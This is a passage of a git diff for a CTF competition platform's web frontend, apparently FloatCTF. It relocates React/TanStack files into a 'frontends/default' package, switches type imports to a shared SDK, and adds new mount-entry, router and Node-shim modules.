"@tanstack/react-query"; import { useEffect, useRef, useState } from "react"; import { serviceApi } from "@/api"; -import { type AwdpOverview, awdpPlayerApi } from "@/api/awdp"; +import { type AwdpOverview } from "@floatctf/sdk"; import { computeEventStatus } from "@/components"; import { AwdpTimeline, computeTimelineState, formatEventRemaining, } from "@/components/awdp/AwdpPhaseOverview"; +import { awdpPlayerApi } from "@/api"; /** * 到点后 2s 兜底轮询的过期上限:deadline 已过去超过该时长仍无阶段变化时停止 diff --git a/apps/web/src/components/awdp/AwdpPhaseOverview.tsx b/frontends/default/src/components/awdp/AwdpPhaseOverview.tsx similarity index 99% rename from apps/web/src/components/awdp/AwdpPhaseOverview.tsx rename to frontends/default/src/components/awdp/AwdpPhaseOverview.tsx index 6cd29783..7c9d88ef 100644 --- a/apps/web/src/components/awdp/AwdpPhaseOverview.tsx +++ b/frontends/default/src/components/awdp/AwdpPhaseOverview.tsx @@ -17,7 +17,7 @@ import { BugIcon, ToolsIcon } from "@primer/octicons-react"; import { Button, Label, SegmentedControl } from "@primer/react"; -import type { AwdpPhase } from "@/api/awdp"; +import type { AwdpPhase } from "@floatctf/sdk"; // ──────────────────────────────────────────────────────────────────────────── // Phase 语义元数据(badge 颜色/描述文案) diff --git a/apps/web/src/components/awdp/AwdpScoreboard.tsx b/frontends/default/src/components/awdp/AwdpScoreboard.tsx similarity index 99% rename from apps/web/src/components/awdp/AwdpScoreboard.tsx rename to frontends/default/src/components/awdp/AwdpScoreboard.tsx index 37f53649..fe67ee83 100644 --- a/apps/web/src/components/awdp/AwdpScoreboard.tsx +++ b/frontends/default/src/components/awdp/AwdpScoreboard.tsx @@ -8,7 +8,7 @@ import type { AwdpScoreboardDetail, AwdpScoreboardGameBox, AwdpScoreboardRow, -} from "@/api/awdp"; +} from "@floatctf/sdk"; /** * AWDP 赛事 Scoreboard(选手端)。 diff --git a/apps/web/src/components/awdp/AwdpWorkbench.tsx b/frontends/default/src/components/awdp/AwdpWorkbench.tsx similarity index 99% rename from apps/web/src/components/awdp/AwdpWorkbench.tsx rename to frontends/default/src/components/awdp/AwdpWorkbench.tsx index 8ad8f1cd..95e1f6d0 100644 --- a/apps/web/src/components/awdp/AwdpWorkbench.tsx +++ b/frontends/default/src/components/awdp/AwdpWorkbench.tsx @@ -28,7 +28,7 @@ import type { BreakSubmitResponse, ManualCheckDto, PatchSubmitResponse, -} from "@/api/awdp"; +} from "@floatctf/sdk"; import { useMsgBanner } from "@/components"; import { AwdpPhaseOverview } from "@/components/awdp/AwdpPhaseOverview"; diff --git a/apps/web/src/components/awdp/RunWriteupEditor.tsx b/frontends/default/src/components/awdp/RunWriteupEditor.tsx similarity index 97% rename from apps/web/src/components/awdp/RunWriteupEditor.tsx rename to frontends/default/src/components/awdp/RunWriteupEditor.tsx index dc8684e6..c94e4f48 100644 --- a/apps/web/src/components/awdp/RunWriteupEditor.tsx +++ b/frontends/default/src/components/awdp/RunWriteupEditor.tsx @@ -7,8 +7,9 @@ import { useMutation, useQuery, useQueryClient } from "@tanstack/react-query"; import { useEffect, useState } from "react"; -import { awdpRunApi } from "@/api/awdpRuns"; + import { MDPlusEditor, useMsgBanner } from "@/components"; +import { awdpRunApi } from "@/api"; export function RunWriteupEditor({ runId }: { runId: string }) { const banner = useMsgBanner(); const queryClient = useQueryClient(); diff --git a/apps/web/src/components/awdp/__tests__/AwdpEventProgress.test.tsx b/frontends/default/src/components/awdp/__tests__/AwdpEventProgress.test.tsx similarity index 99% rename from apps/web/src/components/awdp/__tests__/AwdpEventProgress.test.tsx rename to frontends/default/src/components/awdp/__tests__/AwdpEventProgress.test.tsx index e89c9dfb..68270147 100644 --- a/apps/web/src/components/awdp/__tests__/AwdpEventProgress.test.tsx +++ b/frontends/default/src/components/awdp/__tests__/AwdpEventProgress.test.tsx @@ -18,10 +18,11 @@ import { } from "vitest"; import { serviceApi } from "@/api"; -import type { AwdpOverview } from "@/api/awdp"; -import { awdpPlayerApi } from "@/api/awdp"; +import type { AwdpOverview } from "@floatctf/sdk"; + import { AwdpEventProgress } from "../AwdpEventProgress"; +import { awdpPlayerApi } from "@/api"; beforeAll(() => { Object.defineProperty(window, "matchMedia", { diff --git a/apps/web/src/components/awdp/__tests__/AwdpPhaseOverview.test.tsx b/frontends/default/src/components/awdp/__tests__/AwdpPhaseOverview.test.tsx similarity index 100% rename from apps/web/src/components/awdp/__tests__/AwdpPhaseOverview.test.tsx rename to frontends/default/src/components/awdp/__tests__/AwdpPhaseOverview.test.tsx diff --git a/apps/web/src/components/awdp/__tests__/AwdpScoreboard.test.tsx b/frontends/default/src/components/awdp/__tests__/AwdpScoreboard.test.tsx similarity index 98% rename from apps/web/src/components/awdp/__tests__/AwdpScoreboard.test.tsx rename to frontends/default/src/components/awdp/__tests__/AwdpScoreboard.test.tsx index d567cc3b..ade2f2e2 100644 --- a/apps/web/src/components/awdp/__tests__/AwdpScoreboard.test.tsx +++ b/frontends/default/src/components/awdp/__tests__/AwdpScoreboard.test.tsx @@ -9,7 +9,7 @@ import { cleanup, fireEvent, render, screen } from "@testing-library/react"; import { afterEach, beforeAll, describe, expect, it, vi } from "vitest"; -import type { AwdpScoreboardDetail } from "@/api/awdp"; +import type { AwdpScoreboardDetail } from "@floatctf/sdk"; import { AwdpScoreboardView } from "../AwdpScoreboard"; diff --git a/apps/web/src/components/awdp/__tests__/AwdpWorkbench.test.tsx b/frontends/default/src/components/awdp/__tests__/AwdpWorkbench.test.tsx similarity index 99% rename from apps/web/src/components/awdp/__tests__/AwdpWorkbench.test.tsx rename to frontends/default/src/components/awdp/__tests__/AwdpWorkbench.test.tsx index 0042d679..039c0aa0 100644 --- a/apps/web/src/components/awdp/__tests__/AwdpWorkbench.test.tsx +++ b/frontends/default/src/components/awdp/__tests__/AwdpWorkbench.test.tsx @@ -8,7 +8,7 @@ import { } from "@testing-library/react"; import { afterEach, beforeAll, describe, expect, it, vi } from "vitest"; -import type { AwdpPhase } from "@/api/awdp"; +import type { AwdpPhase } from "@floatctf/sdk"; import { AwdpWorkbench, type AwdpWorkbenchGameBox, diff --git a/apps/web/src/components/index.tsx b/frontends/default/src/components/index.tsx similarity index 92% rename from apps/web/src/components/index.tsx rename to frontends/default/src/components/index.tsx index d806a931..df2a60ab 100644 --- a/apps/web/src/components/index.tsx +++ b/frontends/default/src/components/index.tsx @@ -12,3 +12,4 @@ export * from "@/components/SubmitWriteup"; export * from "@/components/awd/AwdEventProgress"; export * from "@/components/RouterUnderlineNavItem"; export * from "@/components/UnderlineNavButton"; +export * from "@/components/admin/FrontendSelector"; diff --git a/apps/web/src/config.ts b/frontends/default/src/config.ts similarity index 100% rename from apps/web/src/config.ts rename to frontends/default/src/config.ts diff --git a/frontends/default/src/dev.tsx b/frontends/default/src/dev.tsx new file mode 100644 index 00000000..9efc1f33 --- /dev/null +++ b/frontends/default/src/dev.tsx @@ -0,0 +1,27 @@ +/** + * DEV ONLY 入口(`frontends/default/index.html` 加载它)。 + * + * 开发模式下 Default Frontend 直接挂载**工作区源码**,保留 Vite HMR; + * 生产模式走 `apps/web` bootstrap → 本地注册表 → 版本化 ESM 制品。 + * 两条路径都最终调用同一个 `mount(context)`,因此契约不会分叉。 + */ + +import { DEFAULT_API_BASE_URL } from "@floatctf/frontend-runtime"; + +import { mount } from "./entry.tsx"; +import pkg from "../package.json"; + +const root = document.getElementById("app"); +if (root) { + mount({ + root, + apiBaseUrl: DEFAULT_API_BASE_URL, + assetBaseUrl: "/", + frontendId: "default", + frontendVersion: pkg.version, + platformVersion: "dev", + apiContractVersion: "1", + frontendRuntimeVersion: "1", + capabilities: ["jeopardy", "awd", "awdp", "discussions", "writeups", "web_terminal"], + }); +} diff --git a/frontends/default/src/entry.tsx b/frontends/default/src/entry.tsx new file mode 100644 index 00000000..4cfecf44 --- /dev/null +++ b/frontends/default/src/entry.tsx @@ -0,0 +1,67 @@ +/** + * Default Frontend 的制品入口 —— 实现 FloatCTF 前端运行时契约。 + * + * bootstrap(`@floatctf/frontend-runtime`)只做三件事:解析注册表、注入样式、 + * 动态 import 这个模块并调用 `mount(context)`。**其余全部在这里**:React、Router、 + * TanStack Query、Primer、Tailwind、styled-components、页面与导航。 + * + * 与迁移前的 `apps/web/src/main.tsx` 相比,唯一的语义变化是: + * 渲染宿主来自 `context.root`(由 bootstrap 决定),而不是写死 `#app`。 + * 渲染树、Provider 顺序、单例 QueryClient、StrictMode、styled-components 的 + * `shouldForwardProp` 过滤器都与迁移前完全一致 —— UI/UX 不变。 + */ + +// 必须排在所有其它 import 之前:先装好 Node 全局兜底,再求值任何依赖。 +import "./node-shim.ts"; + +import { BaseStyles, ThemeProvider } from "@primer/react"; +import { StrictMode } from "react"; +import isPropValid from "@emotion/is-prop-valid"; +import { StyleSheetManager } from "styled-components"; +import ReactDOM from "react-dom/client"; +import type { FloatCTFFrontendModule, FloatCTFMountContext } from "@floatctf/frontend-runtime"; + +import * as TanStackQueryProvider from "./integrations/tanstack-query/root-provider.tsx"; +import { + RouterProvider, + TanStackQueryProviderContext, + router, +} from "./router.tsx"; +import reportWebVitals from "./reportWebVitals.ts"; +// 样式:dev 由 Vite 注入;生产构建会抽成独立 CSS,由 bootstrap 按 frontend.json 注入。 +import "./style.css"; + +let mountedRoot: HTMLElement | null = null; + +export function mount(context: FloatCTFMountContext): void { + if (mountedRoot === context.root) return; // 幂等:同一宿主重复 mount 直接忽略 + mountedRoot = context.root; + + const root = ReactDOM.createRoot(context.root); + root.render( + + + typeof target !== "string" || isPropValid(propName) + } + > + + + + + + + + + , + ); + + // 若要测量应用性能,可传入函数(记录结果或发送到分析端点)。 + reportWebVitals(); +} + +/** 制品自述(诊断用;平台以本地注册表为准)。 */ +export const manifest = { id: "default", version: "1.0.0" }; + +const frontendModule: FloatCTFFrontendModule = { manifest, mount }; +export default frontendModule; diff --git a/apps/web/src/integrations/tanstack-query/devtools.tsx b/frontends/default/src/integrations/tanstack-query/devtools.tsx similarity index 100% rename from apps/web/src/integrations/tanstack-query/devtools.tsx rename to frontends/default/src/integrations/tanstack-query/devtools.tsx diff --git a/apps/web/src/integrations/tanstack-query/root-provider.tsx b/frontends/default/src/integrations/tanstack-query/root-provider.tsx similarity index 100% rename from apps/web/src/integrations/tanstack-query/root-provider.tsx rename to frontends/default/src/integrations/tanstack-query/root-provider.tsx diff --git a/apps/web/src/logo.svg b/frontends/default/src/logo.svg similarity index 100% rename from apps/web/src/logo.svg rename to frontends/default/src/logo.svg diff --git a/apps/web/src/navigation/AppLink.tsx b/frontends/default/src/navigation/AppLink.tsx similarity index 100% rename from apps/web/src/navigation/AppLink.tsx rename to frontends/default/src/navigation/AppLink.tsx diff --git a/apps/web/src/navigation/NavigationContext.tsx b/frontends/default/src/navigation/NavigationContext.tsx similarity index 100% rename from apps/web/src/navigation/NavigationContext.tsx rename to frontends/default/src/navigation/NavigationContext.tsx diff --git a/apps/web/src/navigation/NavigationProgress.tsx b/frontends/default/src/navigation/NavigationProgress.tsx similarity index 100% rename from apps/web/src/navigation/NavigationProgress.tsx rename to frontends/default/src/navigation/NavigationProgress.tsx diff --git a/apps/web/src/navigation/__tests__/AppLink.test.tsx b/frontends/default/src/navigation/__tests__/AppLink.test.tsx similarity index 100% rename from apps/web/src/navigation/__tests__/AppLink.test.tsx rename to frontends/default/src/navigation/__tests__/AppLink.test.tsx diff --git a/apps/web/src/navigation/__tests__/navigation-race.test.tsx b/frontends/default/src/navigation/__tests__/navigation-race.test.tsx similarity index 100% rename from apps/web/src/navigation/__tests__/navigation-race.test.tsx rename to frontends/default/src/navigation/__tests__/navigation-race.test.tsx diff --git a/apps/web/src/navigation/__tests__/service-navigation.test.ts b/frontends/default/src/navigation/__tests__/service-navigation.test.ts similarity index 100% rename from apps/web/src/navigation/__tests__/service-navigation.test.ts rename to frontends/default/src/navigation/__tests__/service-navigation.test.ts diff --git a/apps/web/src/navigation/__tests__/sidebar-utils.test.ts b/frontends/default/src/navigation/__tests__/sidebar-utils.test.ts similarity index 100% rename from apps/web/src/navigation/__tests__/sidebar-utils.test.ts rename to frontends/default/src/navigation/__tests__/sidebar-utils.test.ts diff --git a/apps/web/src/navigation/admin-navigation.tsx b/frontends/default/src/navigation/admin-navigation.tsx similarity index 100% rename from apps/web/src/navigation/admin-navigation.tsx rename to frontends/default/src/navigation/admin-navigation.tsx diff --git a/apps/web/src/navigation/index.ts b/frontends/default/src/navigation/index.ts similarity index 100% rename from apps/web/src/navigation/index.ts rename to frontends/default/src/navigation/index.ts diff --git a/apps/web/src/navigation/navigation-types.ts b/frontends/default/src/navigation/navigation-types.ts similarity index 100% rename from apps/web/src/navigation/navigation-types.ts rename to frontends/default/src/navigation/navigation-types.ts diff --git a/apps/web/src/navigation/service-navigation.tsx b/frontends/default/src/navigation/service-navigation.tsx similarity index 100% rename from apps/web/src/navigation/service-navigation.tsx rename to frontends/default/src/navigation/service-navigation.tsx diff --git a/apps/web/src/navigation/sidebar-types.ts b/frontends/default/src/navigation/sidebar-types.ts similarity index 100% rename from apps/web/src/navigation/sidebar-types.ts rename to frontends/default/src/navigation/sidebar-types.ts diff --git a/apps/web/src/navigation/sidebar-utils.ts b/frontends/default/src/navigation/sidebar-utils.ts similarity index 100% rename from apps/web/src/navigation/sidebar-utils.ts rename to frontends/default/src/navigation/sidebar-utils.ts diff --git a/apps/web/src/navigation/useAppNavigate.ts b/frontends/default/src/navigation/useAppNavigate.ts similarity index 100% rename from apps/web/src/navigation/useAppNavigate.ts rename to frontends/default/src/navigation/useAppNavigate.ts diff --git a/frontends/default/src/node-shim.ts b/frontends/default/src/node-shim.ts new file mode 100644 index 00000000..1ca25010 --- /dev/null +++ b/frontends/default/src/node-shim.ts @@ -0,0 +1,31 @@ +/** + * 自包含浏览器制品的 Node 全局兜底。 + * + * 为什么需要:第三方依赖(styled-components / mermaid 等)里可能存在只在 Node 下 + * 才会走的 `process.*` 引用。构建期已用 Vite `define` 替换了 `process.env.*`, + * 这里再兜一层 `globalThis.process`,防止漏网的引用把整页打挂。 + * + * 约束(见 docs/frontend/ARTIFACT.md):前端制品运行在**纯浏览器**环境里 —— + * 不要依赖 Node 全局、不要依赖 `require`、不要依赖打包器注入的 `__dirname`。 + */ +// 刻意用 `Record`:这里**不是**在实现 Node 的 `Process` 类型 +// (@types/node 在本包可见,直接赋值会撞上完整 Process 结构), +// 只是给浏览器里漏网的 `process.*` 引用一个不会抛错的落点。 +const g = globalThis as unknown as { process?: Record }; + +if (typeof g.process === "undefined") { + g.process = { + env: { NODE_ENV: "production" }, + platform: "browser", + version: "", + nextTick: (callback: (...args: unknown[]) => void, ...args: unknown[]) => { + queueMicrotask(() => callback(...args)); + }, + emit: () => false, + on: () => undefined, + once: () => undefined, + off: () => undefined, + removeListener: () => undefined, + cwd: () => "/", + }; +} diff --git a/apps/web/src/reportWebVitals.ts b/frontends/default/src/reportWebVitals.ts similarity index 100% rename from apps/web/src/reportWebVitals.ts rename to frontends/default/src/reportWebVitals.ts diff --git a/frontends/default/src/router.tsx b/frontends/default/src/router.tsx new file mode 100644 index 00000000..029ec873 --- /dev/null +++ b/frontends/default/src/router.tsx @@ -0,0 +1,52 @@ +/** + * Default Frontend 自己的路由实例。 + * + * 关键点:**路由完全由前端拥有**。`@floatctf/frontend-runtime` 与后端都不知道 + * `/service/events/awd/$id` 这类路径的存在,所以另一个前端可以自由地改用 + * `/workspace/:id`。本文件与迁移前的 `@/main` 中创建 router 的部分逐字一致, + * 只是从 `main.tsx` 拆出来,好让 `@/api/client` 能在 401 时导航到既有入口。 + */ + +import { RouterProvider, createRouter } from "@tanstack/react-router"; + +import * as TanStackQueryProvider from "./integrations/tanstack-query/root-provider.tsx"; +import { RouteLoading } from "./components/RouteLoading.tsx"; +// 导入生成的路由树 +import { routeTree } from "./routeTree.gen"; + +export const TanStackQueryProviderContext = TanStackQueryProvider.getContext(); + +export const router = createRouter({ + routeTree, + context: { + ...TanStackQueryProviderContext, + }, + defaultPreload: "intent", + scrollRestoration: true, + defaultStructuralSharing: true, + defaultPreloadStaleTime: 0, + // 懒加载 chunk / loader 期间在内容区显示加载态,替代默认白屏。 + defaultPendingComponent: RouteLoading, + defaultPendingMs: 100, // 100ms 内完成的路由切换不闪烁加载态 + defaultPendingMinMs: 300, // 加载态至少展示 300ms,避免快速加载时闪一下 + // 路由加载失败 / 404 时给出提示,避免整页白屏。 + defaultErrorComponent: ({ error }: { error: Error }) => ( +
+

页面加载失败:{String(error)}

+
+ ), + defaultNotFoundComponent: () => ( +
+

404 · 页面不存在

+
+ ), +}); + +// 注册路由实例以获得类型安全 +declare module "@tanstack/react-router" { + interface Register { + router: typeof router; + } +} + +export { RouterProvider }; diff --git a/apps/web/src/routes/__root.tsx b/frontends/default/src/routes/__root.tsx similarity index 100% rename from apps/web/src/routes/__root.tsx rename to frontends/default/src/routes/__root.tsx diff --git a/apps/web/src/routes/admin/announcements.tsx b/frontends/default/src/routes/admin/announcements.tsx similarity index 98% rename from apps/web/src/routes/admin/announcements.tsx rename to frontends/default/src/routes/admin/announcements.tsx index c78c9085..660207e5 100644 --- a/apps/web/src/routes/admin/announcements.tsx +++ b/frontends/default/src/routes/admin/announcements.tsx @@ -4,7 +4,7 @@ import { useReactive, useTitle } from "ahooks"; import { adminApi } from "@/api"; import { GenericTable } from "@/components"; -import { type Announcements } from "@/entity"; +import { type Announcements } from "@floatctf/sdk/entity"; import { DatetimeToShow } from "@/util"; import { AdminRouteGuard } from "./route"; diff --git a/apps/web/src/routes/admin/awd/gameboxes.tsx b/frontends/default/src/routes/admin/awd/gameboxes.tsx similarity index 99% rename from apps/web/src/routes/admin/awd/gameboxes.tsx rename to frontends/default/src/routes/admin/awd/gameboxes.tsx index d6d4666a..6470d801 100644 --- a/apps/web/src/routes/admin/awd/gameboxes.tsx +++ b/frontends/default/src/routes/admin/awd/gameboxes.tsx @@ -23,8 +23,8 @@ import type { GameBoxCheckResult, GameBoxLibraryDto, GameBoxScanItem, -} from "@/api/awd"; -import { type QueryParams, type UniResponse } from "@/api/axios"; +} from "@floatctf/sdk"; +import { type QueryParams, type UniResponse } from "@floatctf/sdk"; import { GenericTable, useMsgBanner } from "@/components"; import { useSelectedRowIds } from "@/util"; import { AdminRouteGuard } from "../route"; diff --git a/apps/web/src/routes/admin/awd/network.tsx b/frontends/default/src/routes/admin/awd/network.tsx similarity index 99% rename from apps/web/src/routes/admin/awd/network.tsx rename to frontends/default/src/routes/admin/awd/network.tsx index ff6196f8..e14251ee 100644 --- a/apps/web/src/routes/admin/awd/network.tsx +++ b/frontends/default/src/routes/admin/awd/network.tsx @@ -22,8 +22,8 @@ import type { PlatformNetworkAllocation, PlatformNetworkHealth, PlatformNetworkSettings, -} from "@/api/awd"; -import type { QueryParams, UniResponse } from "@/api/axios"; +} from "@floatctf/sdk"; +import type { QueryParams, UniResponse } from "@floatctf/sdk"; import { GenericTable, useMsgBanner } from "@/components"; import { EMPTY_PLATFORM_NETWORK_FORM, diff --git a/apps/web/src/routes/admin/challenge_sets/$id.tsx b/frontends/default/src/routes/admin/challenge_sets/$id.tsx similarity index 98% rename from apps/web/src/routes/admin/challenge_sets/$id.tsx rename to frontends/default/src/routes/admin/challenge_sets/$id.tsx index a37a6ab2..7ee60784 100644 --- a/apps/web/src/routes/admin/challenge_sets/$id.tsx +++ b/frontends/default/src/routes/admin/challenge_sets/$id.tsx @@ -3,7 +3,7 @@ import { useCallback, useRef, useState } from "react"; import { adminApi } from "@/api"; import { GenericTable, useMsgBanner } from "@/components"; import { DatetimeToShow } from "@/util"; -import type { ChallengesListItem } from "@/types/challengeDto"; +import type { ChallengesListItem } from "@floatctf/sdk"; import { AdminRouteGuard } from "@/routes/admin/route"; import { useSelectedRowIds } from "@/util"; import { Dialog } from "@primer/react/experimental"; diff --git a/apps/web/src/routes/admin/challenge_sets/index.tsx b/frontends/default/src/routes/admin/challenge_sets/index.tsx similarity index 97% rename from apps/web/src/routes/admin/challenge_sets/index.tsx rename to frontends/default/src/routes/admin/challenge_sets/index.tsx index d41e2402..b9630784 100644 --- a/apps/web/src/routes/admin/challenge_sets/index.tsx +++ b/frontends/default/src/routes/admin/challenge_sets/index.tsx @@ -4,7 +4,7 @@ import { useReactive } from "ahooks"; import { adminApi } from "@/api"; import { GenericTable } from "@/components"; -import type { ChallengeSets } from "@/entity"; +import type { ChallengeSets } from "@floatctf/sdk/entity"; import { AppLink } from "@/navigation"; import { AdminRouteGuard } from "@/routes/admin/route"; import { DatetimeToShow } from "@/util"; diff --git a/apps/web/src/routes/admin/challenges.tsx b/frontends/default/src/routes/admin/challenges.tsx similarity index 95% rename from apps/web/src/routes/admin/challenges.tsx rename to frontends/default/src/routes/admin/challenges.tsx index ce84e4eb..b18c31aa 100644 --- a/apps/web/src/routes/admin/challenges.tsx +++ b/frontends/default/src/routes/admin/challenges.tsx @@ -19,7 +19,7 @@ import { useCallback, useMemo, useRef, useState } from "react"; import { adminApi } from "@/api"; import { GenericTable, useMsgBanner } from "@/components"; import { AdminRouteGuard } from "@/routes/admin/route"; -import type { ChallengesListItem } from "@/types/challengeDto"; +import type { ChallengesListItem } from "@floatctf/sdk"; import { useSelectedRowIds } from "@/util"; export const Route = createFileRoute("/admin/challenges")({ @@ -355,30 +355,6 @@ function ImportButton() { ); } -export type ChallengeCheckResult = { - id: string; - challenge_name: string; - is_ok: boolean; - docker_image: boolean; - attachment: boolean; - /** static / attachment-only 题目(无 src/Dockerfile):没有镜像,无需 Build。 */ - static_content: boolean; -}; -export type BuildChallengeResult = { - challenge_name: string; - is_ok: boolean; - message: string; -}; -export type ChallengeScanItem = { - safe_name: string; - name: string | null; - version: string | null; - status: "added" | "skipped" | "error"; - message: string; -}; -export type ImportChallengeResponse = { - challenge: ChallengesListItem; -}; // 扫描 CHALLENGES_DIR 登记未入库 package(结果弹窗展示) export function ScanButton() { @@ -636,3 +612,16 @@ export function CheckButton({ ); } + +import type { + ChallengeCheckResult, + BuildChallengeResult, + ChallengeScanItem, + ImportChallengeResponse, +} from "@floatctf/sdk"; +export type { + ChallengeCheckResult, + BuildChallengeResult, + ChallengeScanItem, + ImportChallengeResponse, +}; diff --git a/apps/web/src/routes/admin/dashboard.tsx b/frontends/default/src/routes/admin/dashboard.tsx similarity index 94% rename from apps/web/src/routes/admin/dashboard.tsx rename to frontends/default/src/routes/admin/dashboard.tsx index 9a996387..f47fa3aa 100644 --- a/apps/web/src/routes/admin/dashboard.tsx +++ b/frontends/default/src/routes/admin/dashboard.tsx @@ -15,8 +15,8 @@ import { useQuery } from "@tanstack/react-query"; import { createFileRoute } from "@tanstack/react-router"; import { adminApi } from "@/api"; -import type { DashboardSummary } from "@/api/admin/dashboard"; -import { systemInformationQueryOptions } from "@/api/queries"; +import type { DashboardSummary } from "@floatctf/sdk"; +import { systemInformationQueryOptions } from "@/api/react"; import { type EventStatus, EventStatusBadge, @@ -33,55 +33,10 @@ export const Route = createFileRoute("/admin/dashboard")({ await context.queryClient.ensureQueryData(systemInformationQueryOptions()); }, }); -export type SystemInformation = { - name?: string; - kernel_version?: string; - os_version?: string; - host_name?: string; - uptime: number; - total_memory: number; - used_memory: number; - total_swap: number; - used_swap: number; - avg_temp: number; - max_temp: number; - nb_cpu: number; - disks_info: DiskInformation[]; - network_interfaces: NetworkInterfaceInfo[]; - docker_info: DockerInformation; -}; -export type DiskInformation = { - name: string; - mount_point: string; - file_system: string; - total_space: number; - available_space: number; - used_space: number; - usage_percent: number; -}; -export type NetworkInterfaceInfo = { - name: string; - ip_addresses: string[]; - received: number; - transmitted: number; - recv_rate: number; - transmit_rate: number; -}; -export type DockerImageInfo = { - id: string; - repo_tags: string[]; - size: number; -}; -export type DockerInformation = { - image_count: number; - images: DockerImageInfo[]; - running_container_count: number; - total_disk: number; -}; // ───────────────────────────────────────────────────────────────────────────── // Primer 风格基础件(颜色走 @primer/css light 变量,暗色主题可复用) @@ -716,3 +671,18 @@ function RouteComponent() { ); } + +import type { + SystemInformation, + DiskInformation, + NetworkInterfaceInfo, + DockerImageInfo, + DockerInformation, +} from "@floatctf/sdk"; +export type { + SystemInformation, + DiskInformation, + NetworkInterfaceInfo, + DockerImageInfo, + DockerInformation, +}; diff --git a/apps/web/src/routes/admin/database.tsx b/frontends/default/src/routes/admin/database.tsx similarity index 94% rename from apps/web/src/routes/admin/database.tsx rename to frontends/default/src/routes/admin/database.tsx index 27983234..bbd4a07a 100644 --- a/apps/web/src/routes/admin/database.tsx +++ b/frontends/default/src/routes/admin/database.tsx @@ -11,18 +11,7 @@ export const Route = createFileRoute("/admin/database")({ component: RouteComponent, }); -export type SqlStatement = { - sql: string; -}; -export type SqlResult = { - sql_type: string; - // biome-ignore lint/suspicious/noExplicitAny: - rows: Record[]; - count: number; - rows_affected: number; - elapsed_ms: number; -}; function RouteComponent() { const sql_state = useReactive({ @@ -154,3 +143,12 @@ function SqlDataTable({ result }: { result: SqlResult }) { ); } + +import type { + SqlStatement, + SqlResult, +} from "@floatctf/sdk"; +export type { + SqlStatement, + SqlResult, +}; diff --git a/apps/web/src/routes/admin/discussions.tsx b/frontends/default/src/routes/admin/discussions.tsx similarity index 97% rename from apps/web/src/routes/admin/discussions.tsx rename to frontends/default/src/routes/admin/discussions.tsx index 2610ed24..2c4f0b38 100644 --- a/apps/web/src/routes/admin/discussions.tsx +++ b/frontends/default/src/routes/admin/discussions.tsx @@ -3,7 +3,7 @@ import { useTitle } from "ahooks"; import { adminApi } from "@/api"; import { GenericTable } from "@/components"; -import type { Discussions } from "@/entity"; +import type { Discussions } from "@floatctf/sdk/entity"; import { DatetimeToShow } from "@/util"; import { AdminRouteGuard } from "./route"; diff --git a/apps/web/src/routes/admin/docker/images.tsx b/frontends/default/src/routes/admin/docker/images.tsx similarity index 100% rename from apps/web/src/routes/admin/docker/images.tsx rename to frontends/default/src/routes/admin/docker/images.tsx diff --git a/apps/web/src/routes/admin/docker/index.tsx b/frontends/default/src/routes/admin/docker/index.tsx similarity index 100% rename from apps/web/src/routes/admin/docker/index.tsx rename to frontends/default/src/routes/admin/docker/index.tsx diff --git a/apps/web/src/routes/admin/docker/networks.tsx b/frontends/default/src/routes/admin/docker/networks.tsx similarity index 100% rename from apps/web/src/routes/admin/docker/networks.tsx rename to frontends/default/src/routes/admin/docker/networks.tsx diff --git a/apps/web/src/routes/admin/docker/route.tsx b/frontends/default/src/routes/admin/docker/route.tsx similarity index 100% rename from apps/web/src/routes/admin/docker/route.tsx rename to frontends/default/src/routes/admin/docker/route.tsx diff --git a/apps/web/src/routes/admin/events/awd.$id/announcements.tsx b/frontends/default/src/routes/admin/events/awd.$id/announcements.tsx similarity index 97% rename from apps/web/src/routes/admin/events/awd.$id/announcements.tsx rename to frontends/default/src/routes/admin/events/awd.$id/announcements.tsx index 3cc130d4..dc736476 100644 --- a/apps/web/src/routes/admin/events/awd.$id/announcements.tsx +++ b/frontends/default/src/routes/admin/events/awd.$id/announcements.tsx @@ -1,6 +1,6 @@ import { adminApi } from "@/api"; import { GenericTable } from "@/components"; -import type { EventAnnouncements } from "@/entity"; +import type { EventAnnouncements } from "@floatctf/sdk/entity"; import { DatetimeToShow } from "@/util"; import { TextInput, Textarea } from "@primer/react"; diff --git a/apps/web/src/routes/admin/events/awd.$id/configure.tsx b/frontends/default/src/routes/admin/events/awd.$id/configure.tsx similarity index 99% rename from apps/web/src/routes/admin/events/awd.$id/configure.tsx rename to frontends/default/src/routes/admin/events/awd.$id/configure.tsx index a07335b2..df66bf53 100644 --- a/apps/web/src/routes/admin/events/awd.$id/configure.tsx +++ b/frontends/default/src/routes/admin/events/awd.$id/configure.tsx @@ -11,7 +11,7 @@ import { createFileRoute } from "@tanstack/react-router"; import { type ChangeEvent, useEffect, useRef, useState } from "react"; import { adminApi } from "@/api"; -import type { AwdEventConfigInput } from "@/api/awd"; +import type { AwdEventConfigInput } from "@floatctf/sdk"; import { useMsgBanner } from "@/components"; import { AdminRouteGuard } from "../../route"; diff --git a/apps/web/src/routes/admin/events/awd.$id/gameboxes.tsx b/frontends/default/src/routes/admin/events/awd.$id/gameboxes.tsx similarity index 97% rename from apps/web/src/routes/admin/events/awd.$id/gameboxes.tsx rename to frontends/default/src/routes/admin/events/awd.$id/gameboxes.tsx index 9fdd3610..434cdb2a 100644 --- a/apps/web/src/routes/admin/events/awd.$id/gameboxes.tsx +++ b/frontends/default/src/routes/admin/events/awd.$id/gameboxes.tsx @@ -5,8 +5,8 @@ import { createFileRoute } from "@tanstack/react-router"; import { useCallback, useRef, useState } from "react"; import { adminApi } from "@/api"; -import type { EventGameBoxDto, GameBoxLibraryDto } from "@/api/awd"; -import type { QueryParams } from "@/api/axios"; +import type { EventGameBoxDto, GameBoxLibraryDto } from "@floatctf/sdk"; +import type { QueryParams } from "@floatctf/sdk"; import { GenericTable, useMsgBanner } from "@/components"; import { QUERY_KEY as LIB_QUERY_KEY } from "@/routes/admin/awd/gameboxes"; import { useSelectedRowIds } from "@/util"; diff --git a/apps/web/src/routes/admin/events/awd.$id/index.tsx b/frontends/default/src/routes/admin/events/awd.$id/index.tsx similarity index 99% rename from apps/web/src/routes/admin/events/awd.$id/index.tsx rename to frontends/default/src/routes/admin/events/awd.$id/index.tsx index 3372ea8f..c69f980a 100644 --- a/apps/web/src/routes/admin/events/awd.$id/index.tsx +++ b/frontends/default/src/routes/admin/events/awd.$id/index.tsx @@ -9,7 +9,7 @@ import { createFileRoute } from "@tanstack/react-router"; import dayjs from "dayjs"; import { adminApi } from "@/api"; -import type { AwdEventStatus } from "@/api/awd"; +import type { AwdEventStatus } from "@floatctf/sdk"; import { AdminRouteGuard } from "../../route"; export const Route = createFileRoute("/admin/events/awd/$id/")({ diff --git 